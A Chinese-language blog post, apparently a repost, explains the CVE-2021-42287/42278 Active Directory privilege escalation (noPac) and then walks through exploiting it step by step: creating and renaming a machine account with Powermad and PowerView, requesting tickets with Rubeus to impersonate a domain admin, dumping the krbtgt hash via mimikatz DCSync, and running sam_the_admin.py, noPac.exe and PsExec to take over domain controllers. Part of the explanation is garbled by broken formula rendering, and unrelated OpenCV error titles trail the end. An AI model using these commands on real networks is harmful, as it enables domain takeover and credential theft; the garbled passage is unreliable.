安全漏洞CVE-2021-42287&CVE-2021-42278 域内提权
Posted IT老涵
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全漏洞CVE-2021-42287&CVE-2021-42278 域内提权相关的知识,希望对你有一定的参考价值。
前言
网络安全技术学习,承认⾃⼰的弱点不是丑事。只有对原理了然于⼼,才能突破更多的限制。拥有快速学习能力的白帽子,是不能有短板的,有的只能是大量的标准板和几块长板。知识⾯,决定看到的攻击⾯有多⼴;知识链,决定发动的杀伤链有多深。
一、漏洞原理
- CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。
- CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS
Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS
Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。 - 假如域内有一台域控名为 DC(域控对应的机器用户为 DC
)
,
此
时
攻
击
者
利
用
漏
洞
C
V
E
−
2021
−
42287
创
建
一
个
机
器
用
户
S
A
M
T
H
E
A
D
M
I
N
−
48
),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48
),此时攻击者利用漏洞CVE−2021−42287创建一个机器用户SAMTHEADMIN−48,再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC
去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48 。 这 个 时 候 K D C 就 会 判 断 域 内 没 有 D C 这 个 用 户 , 自 动 去 搜 索 D C 。这个时候 KDC 就会判断域内没有 DC 这个用户,自动去搜索 DC 。这个时候KDC就会判断域内没有DC这个用户,自动去搜索DC(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行
S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。
二、手工复现
在这给大家分享一套学习思路与资料 》点击查看《 希望能够帮助大家!
1、操作流程
# 1. create a computer account
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
# 2. clear its SPNs
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
# 3. rename the computer (computer -> DC)
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
# 4. obtain a TGT
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
# 5. reset the computer name
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
# 6. obtain a service ticket with S4U2self by presenting the previous TGT
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
# 7. DCSync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt
2、拥有一个普通域账户
net user xxx /domain
3、尝试攻击
3.1、利用 powermad.ps1 新增机器帐号(域用户默认可以新建机器账户)
命令
Import-Module .\\Powermad.ps1
New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx -Verbose
3.2、clear its SPNs(清除SPN信息)
Import-Module .\\powerview.ps1
Set-DomainObject "CN=TestSPN,CN=Computers,DC=xxx,DC=xxx" -Clear 'serviceprincipalname' -Verbose
3.3、reset the computer name(重设机器名称)
Set-MachineAccountAttribute -MachineAccount TestSPN -Value “xxx” -Attribute samaccountname -Verbose
3.4、Request TGT (请求TGT)
.\\Rubeus.exe asktgt /user:xxx /password:x’x’x’x /domain:xxx.xxx /dc:xx.xx.xx /nowrap
3.5、Change Machine Account samaccountname(改回原来属性)
Set-MachineAccountAttribute -MachineAccount TestSPN -Value “TestSPN” -Attribute samaccountname -Verbose
3.6、Request S4U2self(获取票据)
.\\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:x.x.x /self /altservice:LDAP/x.x.x. /ptt /ticket:doIE5jCCBOKgAwIBBaEDAgEWooID/zCCA/t
3.7、获取 kbrtgt 用户的 NTLM Hash
lsadump::dcsync /user:x\\krbtgt /domain:x.x /dc:x.x.x
三、sam-the-admin复现
前置条件:
需要一个域用户
利用过程:
拿主域控
python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell
漏洞利用
漏洞证明
拿子域控
python3 sam_the_admin.py x.x.x/x:x -dc-ip x.x.x.x -shell
漏洞利用
漏洞证明
问题
低版本的kali可能会面临可以拿到票据,但是无法列出命令执行的窗口
四、impacket工具包复现
五、CVE-2021-42287/CVE-2021-42278 工具利用
1、下载地址
github
2、实际操作
2.1、扫描探测
.\\noPac.exe scan -domain x.x.x -user x -pass 'x'
测试开始之前查看域控根目录提示拒绝访问
dir \\x.x.x\\c$
2.2、直接利用(打子域是同样方法)
./noPac.exe -domain x.x -user x -pass 'x' /dc x.x.x /mAccount x /mPassword x /service cifs /ptt
此时已可以查看域控根目录
ls \\x.x.x\\c$
注意问题
如果使用cifs协议的话,时间过长之后票据会失效
如果使用ldap协议的话,票据不会失效
2.3、深度利用
使用PsExec横向移动
通过noPac.exe使用cifs协议后,可以继续通过PsExec64.exe直接横向移动到域控主机或者域内其他机器
PsExec64.exe \\\\x.x.x.x -u x\\x -i -p x -s cmd.exe
利用过程
直接提升到system权限,查看IP确实为域控IP
网络安全感悟
做网络安全是一个长期的过程,因为做网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!
以上是关于安全漏洞CVE-2021-42287&CVE-2021-42278 域内提权的主要内容,如果未能解决你的问题,请参考以下文章
OpenCV 断言失败:(-215:断言失败)npoints >= 0 &&(深度 == CV_32F || 深度 == CV_32S)
error: (-215:Assertion failed) (depth == CV_8U || depth == CV_32F) && _img.dims() <= 2 in
error: (-215:Assertion failed) (depth == CV_8U || depth == CV_32F) && _img.dims() <= 2 in